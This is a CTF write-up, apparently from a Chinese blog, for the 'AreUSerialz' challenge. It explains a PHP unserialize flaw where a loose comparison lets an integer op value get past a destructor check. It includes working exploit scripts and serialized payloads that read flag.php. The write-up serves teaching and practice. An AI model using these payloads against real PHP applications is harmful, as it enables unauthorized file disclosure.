0
点赞
收藏
分享

微信扫一扫

[网鼎杯 2020 青龙组]AreUSerialz

mjjackey 2022-02-10 阅读 43

目录


源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

思路

先审阅一下代码,输入先进行了过滤然后对参数进行反序列化

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))  //对应ASCII表
            return false;
    return true;
}
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

先找出能够拿到flag函数,然后观察这些函数中哪一个容易拿到

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    
private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

在FileHandler类中的析构方法,可以得知write()无法使用,因为$this->content = "";限制了,又可以发现 $this->op == "2"$this->op === "2",用了=====,当op为数字2的时候可以绕过

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
 function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

题解

解法一

把protect改成public

exp

<?php
class FileHandler {

    public $op =2;
    public $filename = "flag.php";
    public $content;
}


$a = new FileHandler;
echo urlencode(serialize($a));
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
//O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D

解法二

把带*号前面的s改成S,*替换成\00*\00

参考
在这里插入图片描述
exp

<?php
class FileHandler {

    protected $op =2;
    protected $filename = "flag.php";
    protected $content;
}


$ser =  serialize(new FileHandler);

function decorate($s) {
    $arr = explode(':', $s);
    for($i =0; $i<count($arr); $i++) {
        if ( strpos( $arr[$i], "\0")  != false ) {
            // echo $arr[$i-2] . "\n";
            $arr[$i-2] = str_replace('s', 'S', $arr[$i-2]);
            $arr[$i] = str_replace("\0", '\00', $arr[$i]);
        }
    }
    return join(':', $arr);
}

echo(decorate($ser));
//替换前O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
//替换后O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";s:10:"\00*\00content";N;}

总结

水题

举报

相关推荐

0 条评论